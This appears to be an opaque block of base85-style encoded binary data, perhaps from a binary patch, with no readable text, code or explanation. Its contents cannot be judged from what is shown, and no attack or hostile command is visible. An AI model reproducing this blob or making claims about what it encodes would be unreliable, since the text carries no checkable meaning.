zM1mxYMZHU&e$Ec!%l$B#q>uLFs7^nRhLg1UQWWd9BA|N{jLMw7a#Bi4`eweX35(kHZUbTO}HE+l!At~uU z8RaCLUKC)^(ip&V3AML^H1GJ12}z#%b>iC7t$sM{LrYe1Nw-q=!a+dW_{6&?Nj9&A z1#;RWQ|V3jsZSe4zgcg#ez{J-_!%MTEst$7w1R79aeAv}WP83=b`MhhdBMQ-^RC9X56dxYYB9y~&UREkmcI_2xPNlJar|TZ9C}e;&c)b96ajK~t6X zhlao$2u_v!Qs_3Q=?&n~neR~NHvDCo!mda_BVu(*^0d1iSoHy%lF~v1>1CC*_jfxt zcs~vk2ID7QmGOURjTjPfXl92tLzWXYFRS0!O#seTi<(~%Yk9ZfDo#@N1PVFnl=Uqv ztl3r#{WfUY7|#OI{0dsr{K}rEJn9v9GWWo37qBOVDyobgczXvFg}Q+4DIH6lh3|rh ze0tJsk-2b#02b|B^uFpfsC&N}wFkJmH;rJF^%)?oW*vWFDF3A78koI$OH04%2!y{{ z7Xubm?hx7koLc5zXDu`Nq_avEK-!H)gMBmgW1%e2wuudJk^LU!txYT8^SMPn88grcc= z=v8t&#Aw6_0zhN3s(Em^C<--<>r6Dya)|h#;w68HW6S)&+(2LMl*(wcT+FX;Y_Ni* zs`D<`0#19I?39KyouDs1XsBb{O-`5wQwOEUM zDFg9G!76Ys#&L+&D~d7?@d)(71WBpHBDzS)pCqR=D6ARK0rxHwABb^uMe50sh;jd6 z?fQR#5~mjTfDSIJJQV1~r!FGIEuBeKn!{#O8bI>Xf-G%UNQz8=7xvJY0;yhTSaV%V zX?8Vaui1W9c9!!HAi+t;tceT@u?=T6RVJ{2S_6M%&M?|0tu-3@ff9bVR03Hw!HDW! zl;9X$N77oF;{z6)1Ux-C zPJ!bsWa=($kUup5jh&pg;I;2~z<%gU|l@!OXk#~=Ni(gFa4+?*B zjBcAm;&~W%qOBTV^^4?Zv<2jm3a$qYON2}w1x3h|#(u@de*K<6!TVKF3NErD2c+1h zSj{L z5NbRy!Ax<$3N9R{r4+))MD-;7so{N_I5`f^2)zyQ*1GhsQZxihy&t#$;5eo*RVdHQ z$15SgyPsXXE~rN*%ti|`3c%_R56h~YP&#@B_kVE1GnS3k3i@d3t=NGXg}{F?d$1`# zU{iBGZ81ky^}*5-RUk-&F0h4%4$5+t>5Xg~pY%K?S z_>|*WAMxZyE2m>&h)$moDP(Z5e8Xza#*J)wT@_ zj-0QSf7`U2E-Qh8<*G2@KI@C#ln;6Wz1Qk{-n}(+bULk=NGFsK+KRxgX%=m#38L6!Q*wBz!2~SPsh;PTjjMy^O#3 z4n2uWsOKC(tKudXDPVsU4%~=u#h&E^M$gKEWVLd_QNC@Ke28T6u%&9?<&o1T#0w#p zG#*aQ&^nx-C#*CmMt*6XE`aaz$zFzsV|y0o6wB{?p0Tu0G;)D9Zbs_dWaCx8zP{dS z5YcUC07i83Bo;cCf?t2--o2%J{dCGn$uR&h z=rf=aON*K_n>(`3&~7?{>kq&jqD2*P-l+qZXX`sH9eFLWMQj^=3@eFT@@1S{kT|5y zau9yiK=W)a5>J%VWM*M}I3-!e21`s*5=_B10zFaLbX*7PoQeoe44Yy}AJti6NMO1? z{6)zdO|BJE#YBHPk?`bZ=_~?PHBm;I7ebp8L2I81A#zo?f|3(sV!l{m)Defkvbuq0 zBw`C87l%O@Hr4XrkCyr2L`>&W-qKUgE?MZ*$Q!N7b`MquG;|?31<`0GPJY+y@bII4 zHmYqF=ZjT{>_qX1Lvt=X5Nu^H*qpn+?4>0=fP%ie-8bH;buVO(z%waxtE-O#zmEOyzu*KDEc@;&~C|EIzoL?U<<{wrB^g1UUUg&u&5x7s=BUgtM{Q20Rj1Oo*CG|CP;>t`FZ}7p$v|p3#91(w z1N$4)G|<_!f{w9slk!JH@hZhWq(Z>a43ey-Yo&h^bWXDI1P$$RQfOF^k%km(qf(SI zT1%|56lUgCl3kZ!JFL0{6htsaJOrbF-Y(ArdXJGeSb87oJK#U%iBhp=X*P=cL5bH+ zFCLRt*R*q?9-c%)X(4yW@IV$*tm!Lt9D7--->?SB;sVbA&sTJx zgO_$71+_UQh~uGBi&npY}~o;&nHGPYPElxVM{v?qJZzXUtdW3qtn)VREm&rc4Bg;Kamdgop> z#t6)W+~}$Oes+I@Nlm@1S#DWj;&9S?{P0T}Y3fx#5Ug&iQ)nyAwT0_2wR&Pz*E@gL z=bh^Z?v_n!V^7+!HdBIf=1UHwWPZt~6o1ae`Nvr5S}-!DTGOt!ZT}eRkt*1db6e8N zl9V;+efIFn$#_lKaQMA?m&}75(7>&lgd^49XV-klF$C#Bp=QQo6;T>1dMF=sh-X%W zM6V-pimu(S0JWn>jCX;hbK=A4J57Iq=E(x1;7Ph`&^WRGU576MkyxgKYb(l^L<8OY}Imv;>1pQ{_IA!ZfqULv#g{wk^vw zoC{i%8I+|9`DzsPY1D9mZ1T{j^&IprZSvX8p$3&?Z;*l=E4wu<8sFAQRUv;QK^(>% z4c$X&b`tNy5+_%!>NljaTlb2qY!=x@*>z8~-Kk1GjY11B44c}wG|Vf z1?vHbsVRdJ>Dci_DF#Uk3+C!kW>a_}8`VZTO1*pfne@Y_q-rmmu1>_$({O`sAi~Jf zq$&;plJNdh1HP+8uaK-8mi&JkZ2faDyR7OrOb1bqG)aqq);sem+8?GndWu-pos97% zBz4SGtTV;Uz>(?Gk>R42&YUH~vbx?&hsQIzuCs#rGM{B6_pdt`Ye<4N zL~8?rb0{1fnB`Fkei28MkB~iWV`uNIWp>~KWnJEx6Fl5~t{>DZL;NVak3`!&Y-I018q~1rVtV z4PQ6pyGG$@o945H1W4e%@Lg|j?pUf_O0sZ1KuBH_=8amtO24jybv&gpeDSb zP~EZ}q40t~2U>q8S}JQw8`?NxKQpQUE&(;$NrIK16CsP#C0#xkS|dkQPQM#@z(uV^ zDR>gQco2t9$k260xH;qYIA3{T~bTSBUYq+UEgXE%zFz|nQc zYiwwV`PqT2;ZCIHF?oVjQy?@>SBEGsTdL8lgv*vG$IpMms89Qb@{*lk7>=CYGz9g= zIT8~MrmQVz>+j6(U8s8=Hw2qVF_Z^APQZPCc^(4#)aI}hd4X-MUl1`* z>}ZSUGsu4~SepSAx}}8Sbqe9DrYTcd(jTB0n;iVaLys%tir%$Ocek^%d#s!c1KO+^ zs8QP6bUWxY>_u+M{{8$4I<=OpTCCpTaXI|K)7hJqt2=IKLx5Ff;wXG#{_G9LDc@o4>v|Ci74L3edN zic;ce!>jytx4+@p08oGDtu8m4Xic%Y(rm3XT3&N~V|{I7wTYM2r4M9C`~6sd|7&H_ zvZ;TwSihd~Eb|6YWX1Hc;n`kiw#n;EvrfKe=-<`4w|$<#EqB6QRLDn2&RI=KHKg~Q zie6O)`9m*QJ`IwKU>IC22mMJ+oZkQmH44*|_>35FXPrh}XBGthQc$H3%}q`xnYgJ- z<3VQTmSs2+_0yj7kWaA`$7xtN{r{Gga z0{ExsoL(;(1?K9Z#qxNJrU1wwl3V(57;w}ks(Bi-&Fvyt+q!k76uWy-vs78SRdLV^ zYz{}h>QP`QV!f2nsGcvo=%cZF6(6lhD|)WM`!U8_1zw3<){MqO6lYwbiD{HwEz5s; zpPc&<8vFC>&>+SbN62A~gBW#wF3)4us@2^D(K*I(F~O=Zes;QnZF$}?Oz2er`l2z_CN4DBSSC5{dI0+$A1^@c(0ee4m1xBz+>!(*#1ztLaO7JDDr>)?x%2hNHcBV6up;m|9`?>-D@Xs68_737QTxk zzYYaM?-dYo$MI+szzwzIM*uPZJ@J9ge>F^y%zGAO{{sVNM@kIq2XTfcg|^@w3=FqV zhnt&>Q7sE&JaPB*vHdl9)$=SHZ>+3bUS2LA^nm_c?!}`OByRm)wo+3rn?8S5%BACv zcejsEx}Em+tK)X};IR98>-b>z;6=x48fQL6dMIZ~OAEu070HkKO+GylkZ8SE3Fc}|<+p7CeY!W5G0L~`Bmk8d5Ca&Ae z_Sc(hx%MF?*I*ct;lyAPk*9wjvvnMYqCa~A&Gq~Q00(>byT?b{-L1~g2ix7w$<|35 zr-76&9CV~KX)9>m@Mw?86DK~@rZYQhHJZ83AO+gxl_vjH=v*kGEueQ=?sSOforP*E zlL#_r_flB17OvUMUQSUFDh!4^y;MxkDa2to4+N&H;O_Cb*U2WQ&nABZ*s42OzsJq| z`a#Nu*?Ek}j*-gvu9#%;h;B*&5LBt8Nn`99_G1P|>&Nyn{8nd+6THTI3J~`7f;dZ4 z<-2rp@!x|JtCpQyQdj(_eGdq@A77@+=TGg_^eSDUMK4Lmt3H<;BuNzK(%`6u`Lsg9 zpciFBPLpAycn8Rn-e`a9b@AebFHUA;=SFTeY)Y10d0qZ%RT~Duxa!xu4u1ih2^gVK zGi!+K-*NkewS1CN9n~1SR;&2+8?Or)&-YJAB1GSzP%T#v8Ogcz(35g;Gcl-))f)cv zy17L5ech!$Rx&x;?c%>yB01vqy7b3N2DT}<@VfNJN~VxNUHpI7DO;90;M74bxj%uO zfq$%|2{}gV(w|&1+Lw3bOK~kGctq^sae|;wtGu-UU6ws{GeHq{mdN-gaNf=$!qHX< zTFoi7Id5ilxbr%@FAlc$_{x*iy~FLTy)OEW?(VercK5yeZ{OaZo()+27-fl-(jr@X zC(_7@)y8g`6H0&eYN()rV3u#5<)`^9)ojhW&0oO{Lz(RO8^`2~YBz-v7`PC~v3@m$ z9t*=r(XTbq4JA3vU+m7hUBN-!F09>xa1yT%k9Rm)VU)(h-~?`mtxO2<>dUQzoxQdv zd9_7)ZQMRQ=p62~yPfUhcKe|F?A7z{b`BIN4-PGZ62!1sUMRpl5vgf-mx-SV&*a&hEo-y*1iYR|Lo8ZNY5(o|V z)W}Kucz^e>(|t(*=48D(*zKI`NRBx~rJgqnt~U$UNf&PO_h<`Yt`bSgwXY|+wfmDx zIAVfbe`|kluiH6%b-dj!8KN@=cG+HF5@bGmlb7qQj(9PllOY$q=)vO{-AWqX#h$zu4(Rl`*7@uURO#php9n`{Rt^ z@Itub;WW=)Hha~$6BRj1O`luV$z>~P9T}I2ntopps-JydtW?U2nEQe+olkRPOuaHz zoN<5M&5fbZVW0$lt8GqMSdabe`a>I|Tw`Tn7-7^skK>CjDjRy{H>+sC?|72A1yq7A0TXdc zs04HtK)4Y5hEVU0FqA=;toEs|O>s;;?4mQb7kfxL0yY1S_Ai?v zT3bOk+^BwaN|d6A>B``Pz~bicq2+()I1v26U@pSp5C=qYsc=0p0c901a!cfnvs6`3 ze9`TrJ*3_Qy0UOU^s+{Q*{4*-lISJv+Xm~}TgQ>Y~fS)>?Vp^MFLt z<(1Q35)aYMTkA2`=APn#*FN0yI2R==NpOaHTiyuQK>(#Dq9CI)ZN<<)`3ryVVtETB zf67b~=kcXC@DsMo>nHwY-D`NGz>nAmZ+Ro=Dv|kfY6qGzDYOIS)y6UDYSjr|We^B; zkj?@r6n@iuU{&&y$ekuQsiSembAYj@BppwwdeS*LnpL%*tJ@ET{#7uwssnX_4|j7{G^BX1 zIL$gLgILdG@+#}e@At7a z@;=_+B>nbYi zlDj>^jvV?9i+Q8;OdfwJr|lsS+&QP%ydq5eKuUBL$oEN-#)-fQRU>&|;Jx#c5Z98Q z;Mo7>ltTr(+_S-rWRiFvu`NAWHLE*edJFHXyohsJs8hrXjo(j$0S3lG-anoSRCtHd zUIAv++Z1GUAn>*+uLXP{9uo@+#Srdogd6&H8ejl$_cT*JVDI)zD8yToHFT0FA=EBQsU-{964Ho!&3OQp} zyNr`QEg!4Slh-g>U5mvLsR5ZB zTa5mx$SjpS!*)UdRWcB%q6b8Gk-nggsTX`U=q2(P2kI53{@19$Y?t zmL(ME#gc!Ly5Z{$m8>kmP08h6x7T~~Bhbpn>_^$6jHi}H`uLYkBT)UZ^Qv%oAD7``_xbyzCf1W?DO>5+LXk_=r0o3~){v3a89ha0GPVH`Yd+PwZ04Ct~-S$r> z?StRj+b<7G+Q5nL?;iZ3%q)tzC%gOYUzDYE)=Le5oNRZXo7Vs-R;?Nf)Ga};5)ao1 z>QFSU;f+M;)D)C?(LUKmSHQjVY0w5)%NhU5gBEAeFRh^MG`>fT4>@$M16V_@OFt#6 zpUZ#i>&*O!kJLHIuFUFYR|-;CfG>&5=~9=2p3Ap(aoO~r>F~9_CdM!$+-5xu+N2i5K2zK%mYvc z|JK5GcwtR>-V#eRjn|icIK(iv<+$Bp@D_hGgBJ`2K(nPtbL4rw>!NvY`iZr1`?XJO z2{;{+*M&qekAOwe`lm?nQ7l^2b7=!om`b zC)SHS!W3jHhl{bHzhehzBZpX_`H1O0V3?PldjH=MF1e!Nlu?^h!=M&M*K4bW>*s9(-*TXn5SgXwd zpDT}hrYESRs-u8vY?apF-Pd)bmoQ3$gok%nT8)88Ra?`-K&rCiRKaOkMvg2z6mlDx z9rUGk<|n8AS)f+p1N|%Kt%u=?&56C-N*ry5X!@=L%KR-L(=^nSYc50h{x;NI3sF73I}Mh2ze#vg9L$IHblEZ7~_i@91;reLFU^N3JvQIum(2ep{U?I z6>&y@%I54(;a}o_uWsA|uq6xXn+yQN@l7c;t^`oh_zqvW-f25|hIPa!n_{TD)BQ*L z_^|p-N|c790kYHH-p*kRO!^6bb*Ds2YZRm@A|jO06cUvZa)$BQ(RVRvBr5I=dIp+< zPAT@i!0#KG*E!kQJ)qF)2ZsWlw;K~IQWhtH=`nk^oV|lpB7o#?h!Lu^=qp~cL4e7n zCZ^a#mE(f zG)5eL4z*Zxz(Xo85yCQmR&GG<#SYnp$+>u(-HX%nFsmxN-g2}#9|=!G!&6%r&YkT8b49cX(ceW)uoq^)qI2Dp8mm*JaJsn8CrRcKcZ30GtCt=wHah12x4q4#$@Y&Qq#rp>3sz4GY z%I1T;g?*T&6Eg6_1n$(Ei%g4~RD26!cG#yr37iu9|vq&`nIvU z`liCLViT-rT>!J9W#Z@=QJ+oc;r|?JkDD>rGU{vJRiZTILRXde9UT!(9a#;L)aXzJ z!ecHH>%0+%DbgRh+y8}-F{2{##nKR8EN1CYi1YmLxc%aP`0&-i4)8`N?Sszl$YMZ(!fgTMDxUB*J3YW|uiz-PD*9xOiZcc0*A;(kv2QosiIfA_S%Q3y|c3&L4 z+J8DXblKP&#%&)HCU9lBqgA;&^0ef ztFR=PzYx5KOSUDY=|_{1V-A~{N1a8XOef=gdLv{?VrzgpH51{s=vjZkkwD%EWz(@NcYY+{D$IqLOs zH1XK~3{eeBP3Er9DlmgffJ0QXiy3F{YRG^E(YtD8`*82o{z0dr_`{rc8QNE8t75>}ZMVXBuxLCos<7;cPP_S-D>%Nl^HW0hxK-)nhc02}e4o($4o zc%4aqO0%ZoTiXW^FWNT#u-zF{Ya4Xm)9XF(jNvOu8c3&di9gO^5$_=7}2#R})L=iTP)GQ#a6m`I|`$!Rcr{Niu zL9G>xz0wO*%rbwN#xgP0&|lj-yC;Xo9$<+ui6heGP>5Rx1*b!=H?2zhyII`&vdHe` zA&qn>BgX~0xIeGlOIIi;t<^Sqhm$>js+hn-gx#&Wc*$1f;=d?t^jZ z>Z*9b1Hh4K$zoC{C~q*X72P~lg>;tb+VESkiX#oxyc@%M5;Py4frVvUKAyP&@anmDVr46>oJ@ z1HDRa=0(L*E-N5#!qH@;MEk6#8m3;WX%mrZ#%emnS<3xdI?bjtk8_^KZAK?*{4l&` zW6JQ1roSa7>byEQ>^OQ)i66p$Zjvw9@QiRUX=VaUj>CSnR;OgyX)0@ca?ukjHmEvb z!e!CA_H9Mi+O)TlI_v9ZBXor4r(`{-3Ib&I;z^XDLm>F$WU#{Mrje4U!f32P-fDFY z(Ws?QEU3b5j|Qe|umdJgkjeY#^oLY*B^VHiC`sl-gd}V*Mxe|{1b>cyZhfK@=8}m6 zSs@k*dg8c(ZH{=3*A2S^O8Jt(v&yc1NZ3;?b5l4v?h9%;%}-I$<==9HIJiUmcq}3n;unR? z%@MeKjTs++7L8kupcGbrL)VEePE$=3>IjdpFpUHe_wE*1S4IET@>`VGp=W{RzbSq8 z4T?G`#SrisqNO28%6Q05*2E?mjWPW!KdRh{Auw5OTo0k{Edje{nMO%TJ~!M&DXI6d zlxN`qQoWqkYWlHI;V)yq0|;F!iUQ;fCc~j8*$8s_x$A9|kHvL=%5Pm^KfvuXW(0~c zKlhVQ>^NMcPhO$JB^;#Gtdx`SX?bovZMx3okSNW`#? zg9Nz>d4faMHX&C}KE{$!-e&xvdWL%!qA-Y^H|x{nZF-j9`!MZ?XCV&V4xeCSGocHt zB=Yq83rlMo;^KaP!KuPTlU>D%$-s!}e}% zmp8E|7F_KPEk8RI`PqU}J(o8dM^+|fFI8EY1fwX`9yOtL&~+QhMG#MX%@>8*zzi#W(=IP0zYCqOS zGiA=SOGa8;>=|QwICpFpJQ@+%;0HyY<14|Oby4gQ!R_Dc_qd8c(ji3q}m20RNFG_5p;Hc(Yvf`U_HB0;*=pwwR5t*E9; zit`-)KVD{kCWA0im6*@Xf=+Ab3~rlqfYQvG5jZ379?&_eDfp${Htl^x+tH^&a^wz1 zBY%Xiy`tAVNsW0&=&!tV_=GZl;YwhE*KW%B9>(VR)v)sx+_Ix$DD_m{%%#@S(!AY( zLi46J=BbU*C#0yFsHt5C@tDb;iLunwGjwG4Bqncv*wqc1NCdG4<00Co8+{sU$ao*~ z2(8;&(_S-B0asFgRml=iD-7${x_)gl>Za+fc&-brgw7qZJEhIWjoOTzHV>U&zVmBq zet*}xh31Tlz>pSH{JsmZ(7RjAcA+oz}e7 zSFh%ORyGCCh9!j-b5zCbzHB|V#_H;QB)rwn<|F54ODIZ*;kInc%n=mPfYu51SpAeD zv9ltadsvDpb&Y1j?z{Q;u~4%m>w^@LM~?=`F%|9M78cBC@|`iI+-luNHbnniEp{d| zw0uEi>>OB3Se0Ef0f_7aRd<2YCR#I^FhnXf^lWNFjg3OPYk*M~cp3gb%fLr2 zWTR46!msN@XMH4%)N)8I#!9pou6_7i<;d!($XwR-DD@ly`NQ-@TA#g0J!RjX*ZIzW zHS=ihT0c~4{d`tKaGo@@;c41Xb5Z+_ExaU%-f8d6XeooLp1CH`b=TH2>+aMDC+GFX zY+XhX)(r_~ZKp7tLUNFPht{EXa0}BZXJs~;icJ58M3Qccb)a2D)*|AE+HFUm=^%Ml z#aVr&rd4yxO8bRPBrDe*EFQ^)pangD8fx7gDbr{UDx+Vv@MuAyo(1=!Q7(=?(I%+o z_1ZH5d8RxinK{?W_vH`W1tq_>G*;AS`uT3I@)2@KYQbH9pLr11xT1Ixph{G0)}h0z zc*E1k@qmlY3X-0>$Cf{n|9aM#SA`N0E=%?K^UOM{Od_CftSAjVKS|;lZwo_5jpKP`q_HR~;F0tjg;?$XK@7$nm#m5){^~|PUUaRQ_w@LPb^V@uW z-Qg1X>WLU?e!FmN=RpCVHaeOAdw)7C2>Gqn3XK!zci*t4Wh?pWc2P`!iHN{dRJM)U zt%&7P1l^sS7hYo+au|89xs^J-fBUEhh-zO-1q^Q+it&f9cxf!J>Zp?l z!=qtMB2r<^@JXHfQN^Wy#IpQe$wB5qL2S;eVl1?*8K^*Odhm|ONn~zCv0aIL_@+;A z`8TQ=lCf5vEhh}qv}6{v=xm^I%JD%$*3}zwKnO2@maaH1lf+U~t4WG=C|^$}Nua7Z z`gOV0R%5pX?F64CFrlH32KX8^PBH8wg*W0@Q(Bxv#$I0;;VZv?Jn&L|C~i%|+F7%8 za?+J>ut@$Zv_RuweLf0EVw9}eeO*EfI-QEF!;@#loy!#JPFto;0RZearGRi(?&~ymU%1<@A}8 z(~wU&b96p3W9pcH{fXzE*KC@)7VJ?*iAB$pj~QGYGavNWS+ZE@n5ccQQ@T_I$zpy& z0Mt-a8ZXIbY^l`EZogK=MbfLsYgO*!W5Lpech^lYqjY4Bw|%NV=+L~XJf>=~O3zlQ zFB2T9#*6AhIgN8iwrE)zDuHj&pwM;vhMMt^lIBF{JrxRn&T+2nXWC~PInWcIzm^tX z=-OKJ_}RlEol)*`UHbs1Z{+a@!}!uDH%cFtFhB%0a)U8ABUNcx7>Ok+XKZ>Q4o@Uj zUbwVWbM{o3Z zfhrhh4z3og2GLmB``**m($m_J%?+g~rCw-*={4a)?D%9fm}+%{N+XKuq? zY(?%(ocpy%~-;a;L}T%Ppyu4Yl7$|>2O8`>!GM|KHJHuy zVy4gIflAFgs_D6iTQ~q@`7}w*$=Vf*vqDSFUp8}SYsp5Mg30n_W}vnf|DLjdM#ACX z&N*x6I15&hYlq}FelkW@G)#m&5%mqeUGdEqRw_h9|Aa7c z9uA1V#mS%tRWy7e%_!}-9;pLs%ctDco_)jI*_|x`G{mQXnXt-mwVv@)es!2KAB<5k zs}hlG3sFAON3#r~l&5V{CL+hW=;WdwbBtbpfdt-c_NQYh@FOS-zG1&QZu&#(jY)Fs zhvOoI=KYn^1&l6c42BZ8-CBG)#` zO53<42f1+7|7xKT+6QttC1^yez9MHXnGGxNdv&uE2)19J03$$mEFsOf$LL$%xuS4? zr+fa@l31w~6eVy>vbc6u0@sS(XF2`+{M~F9u-^|CeicECb=By)Ryz*~Pkxw%+8)y0 zo9{P4aE=dk8)DQxvc7t(BR%Id{)}-_)!7hbIA%^A+_Q8Ud~dzFDmsqW(}?dSz3w?x z&0QcDfh=X&%Fva0Lu5b2(YOV#9NI&FXf>TmSh74T8(D_!HmjqXR}vX=)E_68KKnse zJ0a#0UxjHp_Ip89ziF#wpp|x)o`DI00Ts%mg&Q>B)Hkb#gQQ{N?V!d<#I}+CNk!7b zymrThsyClJEu!1K8km|E7MN`r zs3Myb5L1DQ1`X36zqYa=5q?xN;aao*>1o0t=07mSJY>}5`)GP(yQLFHPT7oAN zPyz(@&xr}Z0Warz+X7~PV>qGcXEy7|j0f)@E~5-Pup3U#CV#SoZ+Tw*a;=!Ox>KGDDXF{)#BT_ZTpf9Yd0nHk> zzol&;Up1u(#d4Llz%Kr5(EFCy5oKBISjN*zcRL zdZS72oI;Q#sMFwQc@Cja8}EY2SSvEDIMMkyQ}NJ%J4AiH&)zU<_)6(f44Wl=+C}G%Yr$T6d1+{W%7_%VTe66?Ywd!)zkCp` zu@26v(xNQNfyQ}gsHpwTmJgx~NG7mkdSiHthkcZlov|AebG$VHYgfsG?$aj)(u0?4 zy3j7)f=hswNx$d&_ZLTU36$y z!fE0ejgTy!I#X3fr|~yFZu2M}GCt-ZNWV*ZI0kx5RrTU$QdXXr%A0n^11H1a1G|jl zUBe`QWzLxB&dA{69*$hQ3z9a>&9t~+;nu2d<8O3-q8gH|(6G@&D&LEysi&_5ZrPl# z1^dd;4d;$^N!u-b!V9RG5TkaP)JE`?%g~z(?pvrLE^9l@YD^uWNZcPM9b|KN~{ZlcGP3o5VE+nT}JWiR*^}Yr6eV7(rro?I3OkEU1m?+)aZ($#*JV-cy z(m2AJchCFQkw>x;0pipL{4%AKKG>DdLvHJP=}J$G+$O(~Y^0QJtqm9C#IJ-AZDPaN z*~4&JyPQh|xTgfUo{W%wJ>Zwo5T<20QWJHuaH`LA@1;acO|!{hFyB|Y6=O0Y*O9xO z6QaI!>?fUqZuIlPCNq&p)HJ=dzUn@!$LJt%dybPJ)@hwvWMgfg%uo}2ZDl9A?pz~%?*!c}f0 z>dk{5FYG~mRhSpQ2oKQlEmV| zSP=t+%Erv1Ps7N{@i+RjAJ@5mjT%{v;mU^bL=;{8A%~JdzrF{1eaeo1qmAUmmuN1o z_9EH4`~B2_0>uRfx*O3(M51R)-j3EDy^9pVo<+jOfxSME4Rahl4)U!QSza$;o%Isu z)_bvhq3KoiD^Yi$Ccm<#X#-lU2{vwU>09RCZD$8 zCJwq;aGJ*K#YV0pp~WVD@GM_zcgb+-*H{}}_+cL67yi(Nni{g5UXCeZyRT!m^DB|^ zDPu29YQWG53!(6nB2%ewG~}G|X>x)1vGO*0o1n&>k$w#AWn|?9>-L3#4S^g)wd-0r z3R6O2RKp=6dP#f7O5e~=W%psLvR<>#ht27|s!lCD<1kEkF~~-LPPHm98&i`gAPAA% zzfnz;olPYMo^#z}WpvVBwzKG&JMXF9zTr1@aIIfAUH9U*@hyI7`xd`+e2XjB;;zqr zCiq&YA5l*3;fM9t%$W-FXKKMcRljolWxhwXFLSy_)ivL^Ut{}0%Ucx;N8GXx#^jV8 zR-gBl?c!`t;tL;t7PQWWy#>m(w7oruk8ZL(n2!X54kYlAn=-@Ud+DZ#T_!)#8iP#y z&6b#sBX}-mmqEEzi6i(0i$0`stff3(N4dYc5zFT=T;hO2-iw-z<}aH> z;)81;seJ|M?}r>(M9I2T%J7`~2gYt;=iit-kS;;+1akqVI3PGeSAPD`kf(;W=Y zxH$@kLjyGGI~3G=N^Q+jEYK+ECk5sNV4Fk*9VE|Nl!}va-_HU!?whvS<4Y?yRehG- zHER4)nk)N2x%dBee_DRi5g-)vTUP6iop(+P#T}CwdAZ5dw9>3iE#;@q>6)zltL_Y}P0XuW3DaXX*>)Oil5K6NYp!&ow8pH}b5`T}Yv^6KRx7tE z?z=($Wv!f1(7c2z7SSgvXZC0lTO<=(v_>eWPpMurNUKM>8QWrw%t8RA6Uti^Pn}e$ zQzD15b?8&0c(0=AsfrF{SOk|*xOVo3E+%G*sl6qC8FsB!IPS&OP&;nrDny!xVRA{- zu*o}Tt!#%!jUo|fTTD)yL_;r74m9wiz=M1-+ETMK$GxTdm}qSvE}}f6WsKC7E+275 z!!XSXa+Sh1TkYO11VF>m+?z2;T17kn^r%T`xfmRLEg4Z2-MSBeSSub9=Vr90;4EA2 zwvr2fv2+<0bSXK1=ru~>71oib#TJZt2tnA#t0YGOHUaZdes#(`Jp*hMVk+OoOCH=V-= ze%-Two)QDDLSo}y_-TMrbXd0s=u)b{wLhqNeyu($8`@l`S!Nwm2UhL`BUhX;1u83l z(@?1|1YMR7=-(}sATl{PKvCTbNB(eRic7Y}i% zhL`X?i7!=G4|?Nf9sg}1HVQ}ZZGD6AFZm6tDlsLNopa+0mn6fHp%|7aCmkt1$I{htXtY zj9&_aRR&z{5SEtC7{0j&gk5}{pe2Cc0{=!jooktvbLQfO)2qv?F{@JWoTNVL&8 zu_wHE0yum4WR0Mc)(iTEWYp5a_8}9$;u72E{Q{MKaE9V3&k=Pm5X$y)hyUUiQVnEK z#qf7c)&M|da!vw#k4jWyd}VYVrKvs3Q6Cn>5UFDKY0a*5IB=WbDdBqr69iLWPu~Nh zI+9v=`8<4xx>~WR0}oMP4(;H6T4f%6_7#Sltutmqpjl(Oo@jN)i*Arjp_BB zrJF4rvkw|533Q+GHaHNVLckIT(CxRpyzJfUd*qEU_2N;OWl$GVD|OY-5;s)4_AsUy z^B1G?O(9j3HqD4(fPNne>#t4e z1HS$?iL)Rz^BEF_HKKpd3?*ifTr$o{0tC6W5Kxwk+myzll%rbX!Fy@v(oca%A#6$c z$|?X~q~5HlK-B+#2$I-~Cz%QdnyCj~t#}Ztz|Ex0$&V?1f=t08I=w_oPjY-I7ZrJ> zJPq)DXGw<#>8seBL+8pA0F`$oK_|2xjk*F3v>6e1LptRNU}<*Vi4HQ7I39`XN$3Eh{go`FUbeng3MNyxCuBo@_%iWE?0$F6vVx z!P#W!lVxtAI&$2w>acKV8B5~=)+3&b&8TDuy-jzJJ%q%jz5{I;gfb<^7@epL`J0gf z8TZD_^ZQ;DM@!UipHG$QxUkEnLwf>b3TWo2g93ejkbvScUMof}<9ujPvK~^Sdi1$| z%PQuIm^?v05Hw4gYz5HeztwPn0SRhk4A1zGj_-HzVzV z3CRboSPZxC_Tm1~Ui+lo{jt4$a(LW*ws*MwcUCrjvp z%p}ZzEX>?p4%vHPIR?>P;&f}8o6ooI=yRYRo|?IKf2a8o5wfr%&O&aG#oJb0%9tr* z+0@1WicS0ei7KW^@*In1PBR-xnkYTNd*HyhY?sWzy0i{L$#YMdNT7|_G(>|U=^YV= z8jIpP^b*eBwuPA+2N;ESP6wkd7ku1oLl@?MZ>bii22ngYJ4en1Ri4oZ`~4U%U#haS zgg%`U9dFfUo-Br%X?TK?Qa-wvWdtDhx)|)76O+g z6)2WiCQ@s8S(^@-IYxXQexVy;(;)uqQbzNsn4+w(Qj?C@O*)dMW-yo{OU4%|2p++C8Xw@lZS0C+H?eS zYt~kA^s^=SZ-b+pBO~Kk%p!-5%?Yq01;#dsqIlybPoHj96-I=h|+0OnE|cj{6~N^OK776jQ$uub>rBF+eZXzwj@ zls4a-DGLHrBcwTOnC|>x3cA`|N}AU>)TFaA&@jyq@1U=`zu|9hgLnwu8(1i0g*9~u zi)*oKIbIPmQH2iL0%(+bN6LzjYC!}YB)k%BA|=i+u@{u^!=X=wp4CjJAR~ctH6y+A zRm^^<5Tlc^!9-mkY&#c5X#j+zkA*PQ4K_l5a-Y*6Lyt&k zMCG4`!!WyA<}xdvYn_-apnZ8@#|^JqM}?ttDiU5)M5@lR=opSi69wqo3w@3G(G~e* zTFx89=VZUMJLqrS8f62~8$Q-pe{Chst zLv*P!y;d*j3uPn}<(f%XahsX6c%>HMsAan?_QG4PQ%0wwvZh$Hcv~56y@; z=Y!dA!(ozrlPp~MY$*~J>1GfW&dMEmphyFBnhiVH4-;p3FcH#!2o#LSd$Uwqq);yj zQEExw(I!Gkzb~P|H;+*4ExIId%qBhZ)|OuOy$54ki$N=vXl_M~GiRkD$4KQWW<;0P zTcs!;nVQW>m(6NH4Id#s$b#ryweqUdK0Z1=M1zouzUFkfqD6%nL!KlQ`aspKY4ULP zZ0$g!szlw>t=K$&wL`kdbZBR+`Mf;bZ|@xM{wT94nK70)+B$h@rdu@)>7kKDcYYaU z#17T3>(&T+7uR5O{?cgz_?9ch{cq|res+u1Bv@|PL^qD+MUcrs+aV*5IJv4`QlldI z!5{1fO~1seCr2@p0Dvv>I7U~69>s!TF6r5>KGn^YRcXJJ%z zD%kh9H5<61s=cu(X-&l5VY1v0fZicbnqj6z<<^3YFPEN&kqe9 